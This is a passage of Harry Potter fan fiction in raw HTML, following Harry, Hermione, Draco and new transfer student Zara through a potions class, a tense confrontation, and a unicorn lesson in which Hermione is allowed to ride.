wasn&#8217;t very sure of herself these days\nand thought she might be wrong.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Yes\nthat&#8217;s right,&#8221; Snape turned and continued to write on the board.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Something\nwas thrown from Harry&#8217;s side hitting Zara who was in front of him, both Zara\nand Harry turned to find Malfoy smiling. Harry watched Zara&#8217;s menacing glare\nsharpen as she took out her wand and mumbled &#8220;Americanus bumblious&#8221; pointing it\nat Malfoy, who immediately stood placing his hand over his heart reciting the\nAmerican pledge of allegiance. And he didn&#8217;t even know the American pledge of\nallegiance. The whole class burst into laughter.&nbsp; Snape turned around glaring at Zara who he\nknew was responsible.&nbsp; &#8220;Malfoy take your\nseat.&#8221; He said not looking at him, &#8220;no more outbursts like that Miss Reynolds,\ndo I make myself clear?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Yes\nsir.&#8221; She saluted.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Snape\nrolled his eyes and returned to the blackboard as Draco sat down in his seat\nutterly humiliated.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">It\nseemed like a really long time before the class was over and Snape went into\nhis back office while the students started filing out of the dungeon.&nbsp; Zara went over to her friends and they all\nstarted laughing reliving the events of the past class.&nbsp; &#8220;That was quite an ingenious spell there\nZara.&#8221; Jewel laughed, she then looked past Zara right at Harry, &#8220;Oh my god,\nThat&#8217;s him isn&#8217;t it?&#8221; Jewel giggled As Zara held her friend back</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Jewel,\nleave him alone okay. I&#8217;m sure he gets this kind of abuse all the time. He\ndoesn&#8217;t need it from across the seas students also. Maybe after you settle down\na bit?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Jewel\npouted, &#8220;oh alright Zara, you seem to know what&#8217;s best.&#8221; She still looked past\nZara over at Harry and sighed. Zara shook her head and pushed her friend out\nthe door.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Harry\nput his last potion book in his bag he was almost last to leave except for\nHermione, Draco and Lavender, he looked over at her once. He caught her gaze\nbut she averted her eyes quickly. He watched her clip her bag closed. He took\nhis up and swung it over his shoulder shaking his head heading for the door. He\nhad one foot out of the doorway when he heard Draco&#8217;s voice talking to\nLavender. &#8220;Brown go away I need to talk with Granger a moment.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Harry\nthen realized he was eavesdropping as Lavender said, &#8220;oh I don&#8217;t know Malfoy, I\ndon&#8217;t think I should leave Hermione here with you alone.&#8221; And Harry stopped\ndead in his tracks on the other side of the door, he was sure they couldn&#8217;t see\nhim.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Listen\nBrown I&#8217;m not going to do anything to her, you can trust me.&#8221; Draco said with a\nlight voice.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;It&#8217;s\nalright Lavender, I&#8217;ll be okay.&#8221; Hermione said plainly.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;If\nyou&#8217;re sure?&#8221; Lavender asked a second time.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;I&#8217;m\nsure.&#8221; Hermione smiled falsely.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Lavender\nthen nodded and walked towards Draco, &#8220;if you do anything remotely to her I\nwill hurt you.&#8221; She threatened.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Relax\nBrown, I&#8217;m not that bad, am I?&#8221; Draco said with a smirk. &#8220;Wait yes, yes I am.&#8221;\nHe added.&nbsp; Lavender glared, and Draco\nthought it was really funny &#8220;I&#8217;m kidding Brown.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Yeah.&#8221;\nShe said feeling foolish, &#8220;well just don&#8217;t do anything and you won&#8217;t have to\nworry.&#8221; And she stepped from the dungeon. She saw Harry standing by the door\nand almost said something but he put his finger to his lips making a quiet\nmotion, Lavender nodded realized that Hermione was probably pretty safe. And\nshe went on down the corridor.&nbsp; Harry\nleaned against the wall to see if he could hear anything more.&nbsp; He heard shoes walking towards the entrance\nto the door. &#8220;What do you want now Malfoy?&#8221; It was Hermione&#8217;s voice and she\nsounded aggravated</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;I\nwant it back.&#8221; Draco was blunt.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Well\nyou can&#8217;t have it, finder&#8217;s keepers remember. Isn&#8217;t that what you always told\nme?&#8221; She smirked.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;I\nonly mean that when it&#8217;s not something that belongs to me.&#8221; He smirked back.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Yeah\nwell you can&#8217;t have it yet, I still need it.&#8221; She crossed her arms.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Look\nGranger you&#8217;ve had it a long time now, how much longer are you going to keep\nit?&#8221; He sat down part way on the table.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;As\nlong as I need to.&#8221; She stared at him.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;What\nhave you seen so far?&#8221; he asked with an eyebrow raised.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Hermione\nsighed and looked down at her shoes, one was scuffed with a white mark across\nthe tip, &#8220;too much.&#8221; She closed her eyes trying to hold the tears back.&nbsp; She felt a hand on her shoulder, Hermione\nlooked up and slapped it away, &#8220;don&#8217;t touch me Malfoy, I don&#8217;t need your\nsympathy.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;I\nthink you do, this is obviously taken its toll on you.&nbsp; You really shouldn&#8217;t have it you know, you\nreally should give it back to me.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;When\nI&#8217;m good and ready to give it back to you I will, but as it stands I&#8217;m keeping\nit awhile longer.&#8221; She picked up her bag from the floor and started for the\ndoorway.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;You\nknow I&#8217;m the only one who can help you.&#8221; Draco said.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Hermione\nstopped a few inches from the door and turned around glaring at him, &#8220;I don&#8217;t\nneed anyone&#8217;s help especially yours, I wish you all would stop ramming I need\nhelp down my throat. If I needed help I would ask for it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Draco\ncrossed the room to her, staring directly at her, &#8220;look I know it&#8217;s controlling\nyour thoughts, making you think certain things.&nbsp;\nIt takes a lot to walk away from it. So just give it to me and all your\nproblems will be over.&#8221; He held his hand out for it.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Why\ndo you want it back so badly, if you ask me you&#8217;re the one with the problem not\nme.&#8221; She was almost speaking in a whisper but very firmly.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;You\nknow why, or have you forgotten, do you perhaps need a reminder?&#8221; Draco&#8217;s voice\nwas sly.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Harry\nlistened intently, but there was an awkward silence then a loud slap pierced\nthe air, echoing loudly in the dungeon making Harry jump. &#8220;Don&#8217;t ever do that\nagain!&#8221; It was Hermione&#8217;s voice and boy was it angry, he could only imagine\nwhat happened and he didn&#8217;t like it one bit.&nbsp;\nHe heard fast footsteps heading in his direction and he then bolted\nquietly down the hall and entered a vacant classroom, he watched her walk swiftly\npast the open classroom her hand covering her mouth also trying to control the\nmassive tears that streamed down her face.&nbsp;\nHe heard her bump into someone, &#8220;Hermione what&#8217;s wrong?&#8221; It was Ron&#8217;s\nvoice. </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;&#8220;Get out of my way Ron.&#8221; She said cruelly. </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">He\nheard footsteps shuffle aside and then walk on, Harry came out of the classroom\nlooking at a wide eyed Ron. He pointed his thumb in the direction she went\n&#8220;What&#8217;s the matter with her?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;I\ndon&#8217;t know really, whatever it is, it has something to do with Malfoy.&#8221; Harry\nsaid with anger in his voice.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Draco\nMalfoy?&#8221; Ron asked confused.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Do\nyou know any other Malfoy?&#8221; Harry was sarcastic.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Ron\nstared at him &#8220;you don&#8217;t think they&#8217;re having a secret love affair do you?</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;I\ndon&#8217;t know.&#8221; Harry said uneasy, &#8220;I mean I don&#8217;t think so. I was only listening\nbut I think he tried something and she slapped him. I really don&#8217;t know what it\nwas but I can imagine.&#8221; He said his voice becoming hard.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;I\ndon&#8217;t want to imagine that thank you very much Harry, but thanks to you I see\nour Hermione going crazy with Malfoy.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Ugh.&#8221;\nHarry shuddered. </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;You\ndon&#8217;t like that very much do you?&#8221; Ron said with a smirk.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;No,\nbut neither do you.&#8221; Harry added.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Yeah\nbut I could get used to the idea, that is if she wanted to be with him. Which I\nhighly doubt in the first place it would be gross, and she could do so much\nbetter. But if she did&#8212;&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Harry\ninterrupted, &#8220;Okay Ron I get the idea, but you&#8217;re right I don&#8217;t want her with\nhim anyway.&#8221; He paused a moment, &#8220;she should be with me instead.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Ron&#8217;s\nmouth dropped in astonishment &#8220;so you admit it, I never thought I would live to\nsee the day you admit to anything.&#8221; He started smirking.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Shut\nup Ron,&#8221; He looked down at his watch, &#8220;We need to get to care of magical\ncreatures anyway.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Oh\nit&#8217;s a class with Hermione, are you going to make googol eyes and all that?&#8221;\nRon laughed at that vision.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;No,\nwhat&#8217;s the matter with you?&#8221; Harry said as he kind of thought it was funny, &#8220;I\nshould never have told you anything, all you&#8217;re going to do is torment me.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Of\ncourse, I wouldn&#8217;t be the good friend that I am if I didn&#8217;t wind you up every\nso often.&#8221; Ron laughed as he and Harry made their way to the class. </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Harry\nand Ron were talking amongst themselves as they walked down to Hagrid&#8217;s cabin\nwhere students were gathered around, Harry saw Crabbe and Goyle taunting poor\nNeville with his toad there were tossing it between each other as Neville was\nin the middle trying desperately to get it back.&nbsp; &#8220;Please don&#8217;t hurt Trevor, he&#8217;s getting old\nyou could kill him.&#8221; Neville was pleading desperately but the two goons just\nlaughed and continued to toss the toad about.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Harry\nshook his head looking at Ron, &#8220;well we better help Neville.&#8221; He said going\ntowards Crabbe and Goyle, but he saw Zara quickly reach up and grab the toad in\nmid-air.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Harry\nand Ron both stared thinking she was going to do something even more cruel\nsince they saw her behavior in the potions class.&nbsp; But she smiled handing it back to Neville.\n&#8220;There you go.&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Neville\nclutched his toad appreciatively, &#8220;thank you.&#8221; He quickly walked away from\nthem.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Malfoy\nseeming to appear behind her, &#8220;Reynolds you won&#8217;t get away with that again.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Zara\nturned around glaring at him but looking rather confused, &#8220;get away with what?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;What\nyou did to me in potions.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Zara\nchuckled lightly, &#8220;Is that so?&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Yes.&#8221;\nHe said pointing to his two goons who walked up behind him, &#8220;you better watch\nyour back Reynolds.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Or\nwhat, you&#8217;re going to sick these two stupid freaks on me?&#8221; She suddenly broke\ninto hysterical laughter. Which everyone turned and looked at who was making\nthat insane laughing. &#8220;They&#8217;re so stupid they probably couldn&#8217;t spell soap.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;We&#8217;re\nnot stupid,&#8221; Crabbe shouted as he felt the many eyes upon him. &#8220;S&#8212;o&#8212;p&#8212;e &#8220; He\nspelled trying to prove that he wasn&#8217;t stupid.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Ah!\nHa! Ha! Ha!&#8221; She laughed cruelly walking away &#8220;S&#8212;o&#8212;p&#8212;e&#8212; ah! Ha! Ha!&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Malfoy\nhit Crabbe in the shoulder &#8220;idiot.&#8221; He breathed.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Hagrid\nsmiled at his class, &#8220;what&#8217;s so funny?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Harry\nand Ron both shook their heads still laughing lightly, &#8220;nothing really.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Well,&#8221;\nHagrid said with a smile &#8220;I think your all gonna like this class, we are\nstudying unicorns.&#8221;&nbsp; He heard gasps and\nawes coming from the students. &#8220;Now male students will only be studying from a\ndistance you know how unicorns get, only virgin females can get close. So I&#8217;ll\nsplit you up into groups of four hopefully.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;Knowing that it was probably slim pickings\nwith how many of the female students were still virgins. He read from his\nchart, &#8220;Draco Malfoy, Ronald Weasley, Lavender Brown and Zara Reynolds.&#8221; He\nlooked up with a smile, realizing he hadn&#8217;t recognized the name. He smiled at\nZara and the other few transfer students he had in this class. He then returned\nto the list.&nbsp; &#8220;Harry Potter, Enrique\nValentine, Hermione Granger, Jewel Sinclair.&#8221; He smiled up at them continuing\ndown the list</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Harry\nlooked right at Hermione who was looking to the ground, then hearing happy\nscream came from Jewel shocking everyone as the four of them gathered in a\ngroup.&nbsp; Jewel immediately went over to\nHarry, &#8220;Oh wow this is like so, so, so cool, I can&#8217;t believe it, like I&#8217;m in\nyour group.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp; Enrique grabbed Jewels shoulders turning her\nto face him, &#8220;damn girl, get a grip.&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Jewel\npushed Enrique aside rather roughly, &#8220;I&#8217;m like totally.&#8221; She paused a moment,\n&#8220;Can I give you a hug.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;No,&#8221;\nHarry replied kind of afraid of this girl and not really knowing what to say.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;How\nabout a k&#8212;&#8221; Jewel started to say </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">She\nwas quieted by Enrique&#8217;s hand slamming over her mouth, He looked at Harry\napologetically, &#8220;sorry man.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Harry\njust nodded feeling very awkward he turned seeing Hermione who was just\nwatching that interplay, she immediately turned away. </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">The\ngroups were formed after a few more minutes and Ginny came around the corner\nwith a unicorn following at her heels and a big smile on her face, &#8220;alright\nwho&#8217;s first.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;We&#8217;ll\ngo.&#8221; Ron said.&nbsp; He looked at Zara and\nLavender, &#8220;okay one of you go up to it.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Zara\nsmiled, &#8220;yeah Lavender go up to it.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Lavender\nsmiled foolishly, &#8220;uh, why don&#8217;t you Zara, it&#8217;ll probably like you better.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;I\nthink I&#8217;ll pass.&#8221; Zara replied.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Ron\nstared at both girls he looked over at Draco who was casually watching them\nalso, &#8220;oh great this is just perfect, we&#8217;re going to fail this class because\nthe two of you </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">aren&#8217;t&#8212;\n&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Lavender\ninterrupted, &#8220;look we&#8217;ll just have to tell Hagrid that we need to change\ngroups.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Hagrid\ncame up behind them, &#8220;is there a problem?&#8221; He looked oddly at them, and then\nrealized &#8220;oh, sorry, well you&#8217;ll just have to take notes and watch.&#8221; He smiled\npleasantly, he really didn&#8217;t want to fail anyone and even though it was their\nfault he remember how it was when he was a teenager so he let them slide.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Another\ngroup went up and two of the female students went right up to it, and they\nstarted to pat it lightly, the mane had a beautiful silver shimmer to it, the\ngirls ran their hands down the soft white fur, it was softer than even bunny\nfur. They looked up at the amazing gold horn spiraling up towards the heavens.&nbsp; The girls were in complete awe. &#8220;Can we ride\nit?&#8221; One of them asked.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Hagrid\nshook his head, &#8220;no it would never allow any one to ride it sorry.&#8221; He looked\nover at Hermione and waved. He noticed she only smiled briefly, but there\nsomething not exactly right about that smile. Oh well maybe he was seeing\nthings and he went back to watching the girls finding out all they could about\nthe unicorn.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Hermione\nwatched with a great curiosity, she then saw someone&#8217;s shadow next to\nhers.&nbsp; She knew who it was but she didn&#8217;t\nturn around.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Harry\nlooked at her with a strange expression, &#8220;are you just going to avoid me for\nthe rest of your life?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">She\nnodded &#8220;you&#8217;re not the only one I&#8217;m avoiding, but that&#8217;s the plan.&#8221; Hermione\nstill didn&#8217;t take her eyes from the unicorn, &#8220;oh I need my necklace back.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Shaking\nhis head his head no, Hermione then turned to look at him that was a mistake,\nshe was immediately lost in his deep green eyes, feeling it hard to breath. It\nhad been several days since she&#8217;s even looked at him like that. After getting\nher mind back she averted her eyes quickly, she heard him say, &#8220;I&#8217;m not ready\nto give it to you yet.&#8221;&nbsp; She stared at\nthe unicorn again.&nbsp; &#8220;Why not?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;It&#8217;s\nstill being checked, I gave it to Dumbledore he wanted to check it out\nhimself.&#8221;&nbsp; He said pleasantly and he\nlooked towards the unicorn its ears perked up and turned its head looking at\nhis group, it then walked away from the girls and towards Harry&#8217;s group. It\nstopped a few feet away from them, Harry could see that it was looking right at\nHermione.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">She\nstepped slowly up to it holding her hand out to it, the unicorn put its nose in\nher hand sniffing about. It then stepped right up to her looking deep into her\nbrown eyes, and then bowed before her.&nbsp;\nHermione stunned turned and looked at Harry who shrugged just as confused,\nShe then looked over at Hagrid who had walked up to them chuckling to himself.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;This\nis odd Hermione, it wants you to get on.&#8221; Hagrid replied with a smile</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;What,\nbut you said that no one could ride them?&#8221; Hermione replied as the unicorn\nstraightened and nudged her, She looked into it&#8217;s eyes and it kneeled again.\n&#8220;What should I do?&#8221; She looked back at Hagrid.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Well\nif it were me, I would get on.&#8221; Hagrid smiled, he was definitely going to say\nsomething about this in a report. He looked over at Harry, &#8220;what do you think?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;I\nwould get on, but are we sure it&#8217;s not going to hurt her?&#8221; He looked over at\nHermione who was looking down at the unicorn in its kneeling position.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Hermione\nsighed and the stepped closer and threw a leg over its side.&nbsp; She was then sitting on it when it rose and\nstood.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Harry\nwatched her smile, a real smile. One he hadn&#8217;t seen for a long time.&nbsp; She leaned down and threw her arms around the\nunicorn&#8217;s neck hugging it, the soft fur on her cheek. She lightly rubbed its\nears with gentle fingers, which the animal really liked.&nbsp; Harry turned slightly finding Draco very\ninterested in this.&nbsp; <i style="mso-bidi-font-style:\nnormal">What does he want with her, besides the obvious?</i>&nbsp; <i style="mso-bidi-font-style:normal">He\nhated her, and now he&#8217;s oh so close with her. </i>Something didn&#8217;t seem right<i style="mso-bidi-font-style:normal">,</i> Harry nodded to himself that<i style="mso-bidi-font-style:normal"> </i>he would get to the bottom of this and\nsoon<i style="mso-bidi-font-style:normal">.</i> </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;The unicorn then started walking slowly with\nHermione on her back, then it started to trot a little bit and then it broke\ninto a graceful gallop with her clinging joyously to it&#8217;s mane as it ran around\nthe pasture area.&nbsp; She would be fine if\nit didn&#8217;t suddenly take off towards the forbidden forest, but it did no such\nthing it just simply ran around the pasture area.&nbsp; It came back to where her group was, stopped\nand kneeled down and she slid off.&nbsp; Her\ncheeks were red from merriment as she patted the unicorn on the side of its\nneck and leaned up to its ear &#8220;thanks, I needed that.&#8221; She whispered. And it\nnuzzled closer to her face, pressing its soft nose against her cheek. The\nunicorn looked at her as if it understood what she had said. It then looked up\nat Ginny walking over to her.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Hagrid\nnodded, &#8220;this is the first time that has ever happened in a really long time.&#8221;\nHe looked at Hermione, &#8220;how 